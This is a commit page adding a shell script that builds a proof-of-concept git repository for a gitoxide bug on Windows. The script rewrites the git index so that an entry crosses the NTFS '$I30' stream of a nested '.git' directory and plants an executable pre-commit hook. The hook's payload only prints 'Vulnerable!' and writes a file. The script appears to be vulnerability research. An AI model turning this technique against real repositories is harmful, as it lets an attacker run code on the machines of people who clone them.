Skip to content

Commit 49eb14c

Browse files
committed
Start on demo script making repo with NTFS stream
The repo this script makes attempts to check out entries traversing the default `$INDEX_ALLOCATION` directory stream of the `.git` directory, whose stream name is documented to be `$I30`. However, although I am able to access directories under this naming scheme through other applications, the repositories this script currently creates do not appear to trigger the bug in gitoxide. The next step is to try specifying the stream type explicitly.
1 parent a59c05a commit 49eb14c

File tree

1 file changed

+28
-0
lines changed

1 file changed

+28
-0
lines changed
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
#!/bin/sh
2+
set -eu
3+
4+
repo="$1"
5+
git init -- "$repo"
6+
cd -- "$repo"
7+
8+
# shellcheck disable=SC2016
9+
target_dir='subdir/.git:$I30/hooks'
10+
target_dir_standin="$(printf '%s' "$target_dir" | sed 's|:|,|g')"
11+
target_file="$target_dir/pre-commit"
12+
target_file_standin="$target_dir_standin/pre-commit"
13+
14+
mkdir -p -- "$target_dir_standin"
15+
16+
cat >"$target_file_standin" <<'EOF'
17+
#!/bin/sh
18+
printf 'Vulnerable!\n'
19+
date >vulnerable
20+
EOF
21+
22+
git add --chmod=+x -- "$target_file_standin"
23+
24+
standin_pattern="$(printf '%s' "$target_file_standin" | sed 's|[.$]|\\&|g')"
25+
cp .git/index old_index
26+
LC_ALL=C sed "s|$standin_pattern|$target_file|g" old_index >.git/index
27+
28+
git commit -m 'Initial commit'

0 commit comments

Comments
 (0)